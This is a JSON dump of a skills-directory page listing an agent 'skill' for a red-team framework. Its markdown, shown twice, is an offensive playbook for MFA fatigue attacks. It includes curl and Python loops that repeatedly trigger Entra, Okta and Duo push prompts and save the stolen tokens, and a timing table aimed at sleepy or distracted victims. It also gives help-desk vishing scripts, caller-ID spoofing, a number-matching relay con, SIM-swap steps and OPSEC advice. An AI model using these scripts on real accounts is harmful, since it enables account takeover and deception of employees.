[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M798F5YY93MVSMMHG757CB22":3,"skill-same:01M798F5YY93MVSMMHG757CB22":58},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":37,"commitSha":38,"skillDirectory":39,"forksCount":40,"repositoryHtmlUrl":41,"repositoryHomepageUrl":6,"ownerHtmlUrl":42,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":43,"install":44,"resources":57},"01M798F5YY93MVSMMHG757CB22","mfa-fatigue-social",null,"MFA fatigue (push-bombing) combined with help-desk impersonation — overwhelm the target with repeated MFA push notifications and then social-engineer them into approving via a vishing call posing as IT support.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fmfa-fatigue-social\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: mfa-fatigue-social\ndescription: \"MFA fatigue (push-bombing) combined with help-desk impersonation — overwhelm the target with repeated MFA push notifications and then social-engineer them into approving via a vishing call posing as IT support.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: phishing\n  when_to_use: \"mfa fatigue push bombing push notification help desk impersonation vishing social engineering sim swap valid accounts mfa bypass t1621\"\n  mitre_attack:\n    - T1621\n    - T1078\n    - T1566.004\n  tags:\n    - phishing\n    - mfa-fatigue\n    - push-bombing\n    - vishing\n    - social-engineering\n---\n\n# MFA Fatigue \u002F Push-Bombing + Help-Desk Social Engineering\n\nWhen you already hold valid credentials (from a prior credential-harvest\nphase, a breach dump, or password spray) but MFA blocks login, MFA\nfatigue is the bypass. Flood the target with push notifications — at\n3 AM, during meetings, repeatedly — until they approve one to make it\nstop. Combine with a help-desk impersonation vishing call for a\nnear-guaranteed approval.\n\nThis is how Lapsus$ breached Uber and Cisco in 2022.\n\n## Prerequisites\n\n- Valid `username:password` for the target user (from credential harvest,\n  password spray, or breach data).\n- Knowledge of the target's MFA type (Microsoft Authenticator push,\n  Duo push, Okta Verify, etc.).\n- A burner phone or VoIP line for vishing (`T1566.004`).\n- The `lure-deconfliction` handshake COMPLETE.\n\n## Quick Reference\n\n```bash\n# Trigger MFA push via OAuth — Microsoft Entra example\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F\u003CTENANT_ID>\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=\u003CAPP_ID>&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\" \\\n  -d \"grant_type=password&username=\u003CUSER>&password=\u003CPASS>\"\n\n# Automated push loop (controlled cadence)\nfor i in $(seq 1 \u003CCOUNT>); do\n  curl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F\u003CTENANT_ID>\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n    -d \"client_id=\u003CAPP_ID>&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\" \\\n    -d \"grant_type=password&username=\u003CUSER>&password=\u003CPASS>\" \\\n    -o \u002Fdev\u002Fnull\n  sleep \u003CINTERVAL_SECONDS>\ndone\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Usage |\n|---|---|---|\n| Multi-Factor Authentication Request Generation | T1621 | Repeated push notifications to fatigue the user |\n| Valid Accounts | T1078 | Compromised credentials used to trigger MFA |\n| Phishing: Spearphishing Voice | T1566.004 | Vishing call posing as IT help desk |\n\n## 1. MFA Push-Bombing Automation\n\n### 1a. Microsoft Entra ID (Azure AD)\n\nTrigger push notifications by attempting ROPC (Resource Owner Password\nCredential) grant. Each attempt generates a push to the registered\nauthenticator app:\n\n```python\nimport requests\nimport time\n\nTENANT = \"\u003CTENANT_ID>\"\nCLIENT_ID = \"1b730954-1685-4b74-9bfd-dac224a7b894\"  # Azure AD PowerShell\nTOKEN_URL = f\"https:\u002F\u002Flogin.microsoftonline.com\u002F{TENANT}\u002Foauth2\u002Fv2.0\u002Ftoken\"\n\nUSERNAME = \"\u003CTARGET_EMAIL>\"\nPASSWORD = \"\u003CTARGET_PASSWORD>\"\n\ndef trigger_push():\n    resp = requests.post(TOKEN_URL, data={\n        \"client_id\": CLIENT_ID,\n        \"scope\": \"https:\u002F\u002Fgraph.microsoft.com\u002F.default\",\n        \"grant_type\": \"password\",\n        \"username\": USERNAME,\n        \"password\": PASSWORD,\n    })\n    return resp.json()\n\n# Controlled cadence — too fast triggers rate-limiting \u002F lockout\nPUSHES = 10\nINTERVAL = 60  # seconds between pushes\n\nfor i in range(PUSHES):\n    result = trigger_push()\n    if \"access_token\" in result:\n        print(f\"[+] Push #{i+1} APPROVED — token obtained!\")\n        with open(\"\u002Fworkspace\u002Fevidence\u002Fmfa_token.json\", \"w\") as f:\n            import json; json.dump(result, f)\n        break\n    elif \"AADSTS50076\" in result.get(\"error_description\", \"\"):\n        print(f\"[*] Push #{i+1} sent, awaiting approval...\")\n    elif \"AADSTS50053\" in result.get(\"error_description\", \"\"):\n        print(\"[!] Account locked out — abort\")\n        break\n    else:\n        print(f\"[-] Push #{i+1}: {result.get('error_description','unknown')}\")\n    time.sleep(INTERVAL)\n```\n\n### 1b. Okta\n\nTrigger via Okta's authn API — primary auth succeeds, then the MFA\nchallenge state triggers a push:\n\n```python\nimport requests\n\nOKTA_DOMAIN = \"\u003CTARGET>.okta.com\"\nAUTH_URL = f\"https:\u002F\u002F{OKTA_DOMAIN}\u002Fapi\u002Fv1\u002Fauthn\"\n\n# Step 1: Primary auth\nresp = requests.post(AUTH_URL, json={\n    \"username\": \"\u003CTARGET_EMAIL>\",\n    \"password\": \"\u003CTARGET_PASSWORD>\",\n})\nstate_token = resp.json().get(\"stateToken\")\nfactor_id = None\nfor factor in resp.json().get(\"_embedded\", {}).get(\"factors\", []):\n    if factor[\"factorType\"] == \"push\":\n        factor_id = factor[\"id\"]\n        break\n\n# Step 2: Trigger push\nif factor_id and state_token:\n    verify_url = f\"https:\u002F\u002F{OKTA_DOMAIN}\u002Fapi\u002Fv1\u002Fauthn\u002Ffactors\u002F{factor_id}\u002Fverify\"\n    resp = requests.post(verify_url, json={\"stateToken\": state_token})\n    print(f\"Push status: {resp.json().get('status')}\")\n```\n\n### 1c. Duo\n\nTrigger via Duo's Auth API (requires ikey\u002Fskey from a compromised Duo\nadmin panel or config file):\n\n```bash\n# Duo push via Auth API\ncurl -s -X POST \"https:\u002F\u002Fapi-\u003CDUO_HOST>.duosecurity.com\u002Fauth\u002Fv2\u002Fauth\" \\\n  -d \"username=\u003CTARGET_USER>&factor=push&device=auto\" \\\n  -u \"\u003CINTEGRATION_KEY>:\u003CSECRET_KEY>\"\n```\n\n## 2. Timing Strategy\n\nPush fatigue is most effective when the victim is distracted or tired:\n\n| Timing | Rationale |\n|---|---|\n| 1-3 AM local time | Victim wakes to notifications, taps approve to dismiss |\n| During known meetings | Victim approves to stop phone buzzing in meeting |\n| Just before lunch \u002F end of day | Cognitive fatigue, reduced vigilance |\n| After 5+ pushes over 15 min | Annoyance threshold — \"just make it stop\" |\n\n**Cadence**: 1 push per 45-90 seconds avoids rate-limiting on most IdPs.\nDo NOT exceed 3 pushes per minute — Microsoft \u002F Okta will lock the\naccount or trigger \"number matching\" enforcement.\n\n## 3. Help-Desk Impersonation (Vishing)\n\nCombine push-bombing with a vishing call for highest success rate.\nThe social engineering call should happen concurrently with the pushes:\n\n### Call Script\n\n```\n\"Hi \u003CFIRST_NAME>, this is \u003CFAKE_NAME> from IT Security at \u003CTARGET_ORG>.\nWe're seeing some unusual activity on your account and need to verify\nyour identity. You should be receiving a notification on your phone\nright now — could you go ahead and approve that for me so I can\nconfirm it's you? This is part of our standard security verification\nprocess.\"\n```\n\n### Script Variants\n\n**Urgent variant** (creates pressure):\n```\n\"We've detected a potential compromise on your account. I need you to\napprove the security prompt on your phone immediately so we can secure\nyour account before the attacker gets in.\"\n```\n\n**Routine variant** (normalises the request):\n```\n\"We're rolling out a mandatory security update. Everyone in your\ndepartment needs to re-verify. Just approve the prompt that's coming\nto your phone and you're all set.\"\n```\n\n### Caller ID Spoofing\n\nSpoof the organisation's IT help-desk phone number to build trust:\n\n```bash\n# Via SIP trunk with spoofed caller ID (requires SIP provider)\n# Configure the FROM header in your SIP client:\n# From: \"IT Help Desk\" \u003Csip:\u003CHELPDESK_NUMBER>@\u003CSIP_PROVIDER>>\n```\n\n## 4. Number-Matching Bypass\n\nMicrosoft and Okta now enforce number matching — the push displays a\ntwo-digit number that the user must enter. This defeats blind push\napproval but not vishing:\n\n```\n\"You should see a number on your login screen. Can you read that\nnumber to me so I can verify it matches on our end?\"\n\n[Victim reads the number]\n\n\"Perfect, that matches. Now go ahead and enter that number in your\nauthenticator app.\"\n```\n\nThe attacker sees the number on the authentication page and relays it\nto the victim via the phone call in real time.\n\n## 5. SIM-Swap Coordination (SMS MFA Bypass)\n\nWhen the target uses SMS-based MFA, a SIM swap redirects SMS to an\nattacker-controlled SIM:\n\n1. **OSINT**: gather target's phone number, carrier, last 4 of SSN,\n   billing address from prior recon.\n2. **Call carrier support**: impersonate the target, request SIM swap\n   to a new SIM citing \"lost phone.\"\n3. **Receive SMS OTP**: once the swap completes (minutes to hours),\n   SMS codes arrive on the attacker's device.\n4. **Login with OTP**: complete the MFA challenge with the intercepted\n   code.\n\n**Note**: SIM swaps are increasingly detected by carriers (T-Mobile\nAccount Takeover Protection, AT&T Extra Security). Port-out PINs block\nthis path — verify the carrier's protections first.\n\n## OPSEC\n\n- **Burner infrastructure**: use a VoIP number (Twilio, Google Voice)\n  that cannot be traced back. Dispose after the engagement.\n- **Caller ID spoofing legality**: carrier-level spoofing may violate\n  local telecom regulations — confirm engagement scope covers vishing.\n- **Rate limiting**: if the IdP locks the account after N failed MFA\n  attempts, abort and switch to another target. Do NOT brute-force.\n- **Logging**: every ROPC attempt generates an Azure AD sign-in log\n  entry. Expect the SOC to see these.\n- **Number matching**: if the IdP enforces number matching, vishing is\n  required — blind push-bombing alone will not work.\n\n## Tools & Resources\n\n| Tool | Purpose |\n|---|---|\n| `requests` (Python) | HTTP-based MFA push triggering |\n| `curl` | Quick push trigger from shell |\n| Twilio \u002F VoIP | Burner phone line for vishing calls |\n| SpoofCard \u002F SIP trunk | Caller ID spoofing |\n| GoPhish | Email pretext delivery before vishing |\n| Evilginx2 | Fallback: AiTM if push-bombing fails |\n\n## Detection Signatures\n\n| Detection | Source | Description |\n|---|---|---|\n| Rapid MFA push denials | IdP logs (Azure AD \u002F Okta) | Multiple `MFA denied` events in short window |\n| ROPC grant attempts | Azure AD sign-in logs | `ResourceOwnerPasswordCredential` grant type |\n| Account lockout after MFA failures | IdP alerts | Lockout policy triggered by repeated MFA |\n| Caller ID mismatch | Telecom logs | Spoofed number not matching carrier records |\n| SIM swap event | Carrier API \u002F account alerts | IMSI change on the target's number |\n\n## Error Handling & Edge Cases\n\n- **Account lockout**: if the IdP locks the account after N attempts,\n  the password is burned. Switch to a different target or wait for\n  lockout expiry. Do NOT reset the password.\n- **Number matching enforced globally**: blind push-bombing is useless.\n  Fall back to vishing + number relay or switch to evilginx2 AiTM.\n- **Phishing-resistant MFA (FIDO2\u002Fpasskeys)**: push-bombing and vishing\n  are both ineffective against hardware keys. Pivot to a different\n  initial-access vector (HTML smuggling, browser-in-the-browser).\n- **Duo \"Fraud\" button**: if the victim taps \"Fraud\" in Duo, the\n  account is locked and the SOC is alerted. Abort immediately.\n- **VoIP number flagged as spam**: rotate to a fresh number or use a\n  different carrier.\n\n## Decision Gate\n\n```\nIF target uses phishing-resistant MFA (FIDO2 \u002F WebAuthn \u002F passkeys)\n  → MFA fatigue is NOT viable\n  → pivot to evilginx2-proxy (AiTM) or html-smuggling-lure\nELIF target uses push-based MFA with number matching\n  → MFA fatigue requires concurrent vishing (§3 + §4)\n  → prepare number-relay call script\nELIF target uses push-based MFA without number matching\n  → standard push-bombing (§1) at optimal timing (§2)\n  → add vishing for higher success probability\nELIF target uses SMS-based MFA\n  → evaluate SIM-swap viability (§5)\n  → OR use evilginx2-proxy to capture OTP in real time\nELSE\n  → standard push-bombing with vishing fallback\n```\n\n## Evidence\n\nSuccessful MFA bypass → record the method (`push-approved`,\n`number-relay`, `sim-swap`) as an edge attribute on the `Credential` →\n`Session` kill-chain. Save the token or session cookie under\n`evidence\u002Fphisher\u002F\u003Cuser>-mfa-bypass.json`. Log the vishing call\ntimestamp and duration for the engagement report.\n","# MFA Fatigue \u002F Push-Bombing + Help-Desk Social Engineering\n\nWhen you already hold valid credentials (from a prior credential-harvest\nphase, a breach dump, or password spray) but MFA blocks login, MFA\nfatigue is the bypass. Flood the target with push notifications — at\n3 AM, during meetings, repeatedly — until they approve one to make it\nstop. Combine with a help-desk impersonation vishing call for a\nnear-guaranteed approval.\n\nThis is how Lapsus$ breached Uber and Cisco in 2022.\n\n## Prerequisites\n\n- Valid `username:password` for the target user (from credential harvest,\n  password spray, or breach data).\n- Knowledge of the target's MFA type (Microsoft Authenticator push,\n  Duo push, Okta Verify, etc.).\n- A burner phone or VoIP line for vishing (`T1566.004`).\n- The `lure-deconfliction` handshake COMPLETE.\n\n## Quick Reference\n\n```bash\n# Trigger MFA push via OAuth — Microsoft Entra example\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F\u003CTENANT_ID>\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=\u003CAPP_ID>&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\" \\\n  -d \"grant_type=password&username=\u003CUSER>&password=\u003CPASS>\"\n\n# Automated push loop (controlled cadence)\nfor i in $(seq 1 \u003CCOUNT>); do\n  curl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F\u003CTENANT_ID>\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n    -d \"client_id=\u003CAPP_ID>&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\" \\\n    -d \"grant_type=password&username=\u003CUSER>&password=\u003CPASS>\" \\\n    -o \u002Fdev\u002Fnull\n  sleep \u003CINTERVAL_SECONDS>\ndone\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Usage |\n|---|---|---|\n| Multi-Factor Authentication Request Generation | T1621 | Repeated push notifications to fatigue the user |\n| Valid Accounts | T1078 | Compromised credentials used to trigger MFA |\n| Phishing: Spearphishing Voice | T1566.004 | Vishing call posing as IT help desk |\n\n## 1. MFA Push-Bombing Automation\n\n### 1a. Microsoft Entra ID (Azure AD)\n\nTrigger push notifications by attempting ROPC (Resource Owner Password\nCredential) grant. Each attempt generates a push to the registered\nauthenticator app:\n\n```python\nimport requests\nimport time\n\nTENANT = \"\u003CTENANT_ID>\"\nCLIENT_ID = \"1b730954-1685-4b74-9bfd-dac224a7b894\"  # Azure AD PowerShell\nTOKEN_URL = f\"https:\u002F\u002Flogin.microsoftonline.com\u002F{TENANT}\u002Foauth2\u002Fv2.0\u002Ftoken\"\n\nUSERNAME = \"\u003CTARGET_EMAIL>\"\nPASSWORD = \"\u003CTARGET_PASSWORD>\"\n\ndef trigger_push():\n    resp = requests.post(TOKEN_URL, data={\n        \"client_id\": CLIENT_ID,\n        \"scope\": \"https:\u002F\u002Fgraph.microsoft.com\u002F.default\",\n        \"grant_type\": \"password\",\n        \"username\": USERNAME,\n        \"password\": PASSWORD,\n    })\n    return resp.json()\n\n# Controlled cadence — too fast triggers rate-limiting \u002F lockout\nPUSHES = 10\nINTERVAL = 60  # seconds between pushes\n\nfor i in range(PUSHES):\n    result = trigger_push()\n    if \"access_token\" in result:\n        print(f\"[+] Push #{i+1} APPROVED — token obtained!\")\n        with open(\"\u002Fworkspace\u002Fevidence\u002Fmfa_token.json\", \"w\") as f:\n            import json; json.dump(result, f)\n        break\n    elif \"AADSTS50076\" in result.get(\"error_description\", \"\"):\n        print(f\"[*] Push #{i+1} sent, awaiting approval...\")\n    elif \"AADSTS50053\" in result.get(\"error_description\", \"\"):\n        print(\"[!] Account locked out — abort\")\n        break\n    else:\n        print(f\"[-] Push #{i+1}: {result.get('error_description','unknown')}\")\n    time.sleep(INTERVAL)\n```\n\n### 1b. Okta\n\nTrigger via Okta's authn API — primary auth succeeds, then the MFA\nchallenge state triggers a push:\n\n```python\nimport requests\n\nOKTA_DOMAIN = \"\u003CTARGET>.okta.com\"\nAUTH_URL = f\"https:\u002F\u002F{OKTA_DOMAIN}\u002Fapi\u002Fv1\u002Fauthn\"\n\n# Step 1: Primary auth\nresp = requests.post(AUTH_URL, json={\n    \"username\": \"\u003CTARGET_EMAIL>\",\n    \"password\": \"\u003CTARGET_PASSWORD>\",\n})\nstate_token = resp.json().get(\"stateToken\")\nfactor_id = None\nfor factor in resp.json().get(\"_embedded\", {}).get(\"factors\", []):\n    if factor[\"factorType\"] == \"push\":\n        factor_id = factor[\"id\"]\n        break\n\n# Step 2: Trigger push\nif factor_id and state_token:\n    verify_url = f\"https:\u002F\u002F{OKTA_DOMAIN}\u002Fapi\u002Fv1\u002Fauthn\u002Ffactors\u002F{factor_id}\u002Fverify\"\n    resp = requests.post(verify_url, json={\"stateToken\": state_token})\n    print(f\"Push status: {resp.json().get('status')}\")\n```\n\n### 1c. Duo\n\nTrigger via Duo's Auth API (requires ikey\u002Fskey from a compromised Duo\nadmin panel or config file):\n\n```bash\n# Duo push via Auth API\ncurl -s -X POST \"https:\u002F\u002Fapi-\u003CDUO_HOST>.duosecurity.com\u002Fauth\u002Fv2\u002Fauth\" \\\n  -d \"username=\u003CTARGET_USER>&factor=push&device=auto\" \\\n  -u \"\u003CINTEGRATION_KEY>:\u003CSECRET_KEY>\"\n```\n\n## 2. Timing Strategy\n\nPush fatigue is most effective when the victim is distracted or tired:\n\n| Timing | Rationale |\n|---|---|\n| 1-3 AM local time | Victim wakes to notifications, taps approve to dismiss |\n| During known meetings | Victim approves to stop phone buzzing in meeting |\n| Just before lunch \u002F end of day | Cognitive fatigue, reduced vigilance |\n| After 5+ pushes over 15 min | Annoyance threshold — \"just make it stop\" |\n\n**Cadence**: 1 push per 45-90 seconds avoids rate-limiting on most IdPs.\nDo NOT exceed 3 pushes per minute — Microsoft \u002F Okta will lock the\naccount or trigger \"number matching\" enforcement.\n\n## 3. Help-Desk Impersonation (Vishing)\n\nCombine push-bombing with a vishing call for highest success rate.\nThe social engineering call should happen concurrently with the pushes:\n\n### Call Script\n\n```\n\"Hi \u003CFIRST_NAME>, this is \u003CFAKE_NAME> from IT Security at \u003CTARGET_ORG>.\nWe're seeing some unusual activity on your account and need to verify\nyour identity. You should be receiving a notification on your phone\nright now — could you go ahead and approve that for me so I can\nconfirm it's you? This is part of our standard security verification\nprocess.\"\n```\n\n### Script Variants\n\n**Urgent variant** (creates pressure):\n```\n\"We've detected a potential compromise on your account. I need you to\napprove the security prompt on your phone immediately so we can secure\nyour account before the attacker gets in.\"\n```\n\n**Routine variant** (normalises the request):\n```\n\"We're rolling out a mandatory security update. Everyone in your\ndepartment needs to re-verify. Just approve the prompt that's coming\nto your phone and you're all set.\"\n```\n\n### Caller ID Spoofing\n\nSpoof the organisation's IT help-desk phone number to build trust:\n\n```bash\n# Via SIP trunk with spoofed caller ID (requires SIP provider)\n# Configure the FROM header in your SIP client:\n# From: \"IT Help Desk\" \u003Csip:\u003CHELPDESK_NUMBER>@\u003CSIP_PROVIDER>>\n```\n\n## 4. Number-Matching Bypass\n\nMicrosoft and Okta now enforce number matching — the push displays a\ntwo-digit number that the user must enter. This defeats blind push\napproval but not vishing:\n\n```\n\"You should see a number on your login screen. Can you read that\nnumber to me so I can verify it matches on our end?\"\n\n[Victim reads the number]\n\n\"Perfect, that matches. Now go ahead and enter that number in your\nauthenticator app.\"\n```\n\nThe attacker sees the number on the authentication page and relays it\nto the victim via the phone call in real time.\n\n## 5. SIM-Swap Coordination (SMS MFA Bypass)\n\nWhen the target uses SMS-based MFA, a SIM swap redirects SMS to an\nattacker-controlled SIM:\n\n1. **OSINT**: gather target's phone number, carrier, last 4 of SSN,\n   billing address from prior recon.\n2. **Call carrier support**: impersonate the target, request SIM swap\n   to a new SIM citing \"lost phone.\"\n3. **Receive SMS OTP**: once the swap completes (minutes to hours),\n   SMS codes arrive on the attacker's device.\n4. **Login with OTP**: complete the MFA challenge with the intercepted\n   code.\n\n**Note**: SIM swaps are increasingly detected by carriers (T-Mobile\nAccount Takeover Protection, AT&T Extra Security). Port-out PINs block\nthis path — verify the carrier's protections first.\n\n## OPSEC\n\n- **Burner infrastructure**: use a VoIP number (Twilio, Google Voice)\n  that cannot be traced back. Dispose after the engagement.\n- **Caller ID spoofing legality**: carrier-level spoofing may violate\n  local telecom regulations — confirm engagement scope covers vishing.\n- **Rate limiting**: if the IdP locks the account after N failed MFA\n  attempts, abort and switch to another target. Do NOT brute-force.\n- **Logging**: every ROPC attempt generates an Azure AD sign-in log\n  entry. Expect the SOC to see these.\n- **Number matching**: if the IdP enforces number matching, vishing is\n  required — blind push-bombing alone will not work.\n\n## Tools & Resources\n\n| Tool | Purpose |\n|---|---|\n| `requests` (Python) | HTTP-based MFA push triggering |\n| `curl` | Quick push trigger from shell |\n| Twilio \u002F VoIP | Burner phone line for vishing calls |\n| SpoofCard \u002F SIP trunk | Caller ID spoofing |\n| GoPhish | Email pretext delivery before vishing |\n| Evilginx2 | Fallback: AiTM if push-bombing fails |\n\n## Detection Signatures\n\n| Detection | Source | Description |\n|---|---|---|\n| Rapid MFA push denials | IdP logs (Azure AD \u002F Okta) | Multiple `MFA denied` events in short window |\n| ROPC grant attempts | Azure AD sign-in logs | `ResourceOwnerPasswordCredential` grant type |\n| Account lockout after MFA failures | IdP alerts | Lockout policy triggered by repeated MFA |\n| Caller ID mismatch | Telecom logs | Spoofed number not matching carrier records |\n| SIM swap event | Carrier API \u002F account alerts | IMSI change on the target's number |\n\n## Error Handling & Edge Cases\n\n- **Account lockout**: if the IdP locks the account after N attempts,\n  the password is burned. Switch to a different target or wait for\n  lockout expiry. Do NOT reset the password.\n- **Number matching enforced globally**: blind push-bombing is useless.\n  Fall back to vishing + number relay or switch to evilginx2 AiTM.\n- **Phishing-resistant MFA (FIDO2\u002Fpasskeys)**: push-bombing and vishing\n  are both ineffective against hardware keys. Pivot to a different\n  initial-access vector (HTML smuggling, browser-in-the-browser).\n- **Duo \"Fraud\" button**: if the victim taps \"Fraud\" in Duo, the\n  account is locked and the SOC is alerted. Abort immediately.\n- **VoIP number flagged as spam**: rotate to a fresh number or use a\n  different carrier.\n\n## Decision Gate\n\n```\nIF target uses phishing-resistant MFA (FIDO2 \u002F WebAuthn \u002F passkeys)\n  → MFA fatigue is NOT viable\n  → pivot to evilginx2-proxy (AiTM) or html-smuggling-lure\nELIF target uses push-based MFA with number matching\n  → MFA fatigue requires concurrent vishing (§3 + §4)\n  → prepare number-relay call script\nELIF target uses push-based MFA without number matching\n  → standard push-bombing (§1) at optimal timing (§2)\n  → add vishing for higher success probability\nELIF target uses SMS-based MFA\n  → evaluate SIM-swap viability (§5)\n  → OR use evilginx2-proxy to capture OTP in real time\nELSE\n  → standard push-bombing with vishing fallback\n```\n\n## Evidence\n\nSuccessful MFA bypass → record the method (`push-approved`,\n`number-relay`, `sim-swap`) as an edge attribute on the `Credential` →\n`Session` kill-chain. Save the token or session cookie under\n`evidence\u002Fphisher\u002F\u003Cuser>-mfa-bypass.json`. Log the vishing call\ntimestamp and duration for the engagement report.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":36},{"tags":25,"subdomain":26,"when_to_use":31,"mitre_attack":32},[26,27,28,29,30],"phishing","mfa-fatigue","push-bombing","vishing","social-engineering","mfa fatigue push bombing push notification help desk impersonation vishing social engineering sim swap valid accounts mfa bypass t1621",[33,34,35],"T1621","T1078","T1566.004","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fmfa-fatigue-social",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":45,"prompt":55,"zipAvailable":56},[46,49,52],{"tool":47,"command":48},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill mfa-fatigue-social",{"tool":50,"command":51},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill mfa-fatigue-social",{"tool":53,"command":54},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill mfa-fatigue-social","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fmfa-fatigue-social\u002FSKILL.md",true,[],[59,66,73,80,87,94],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch 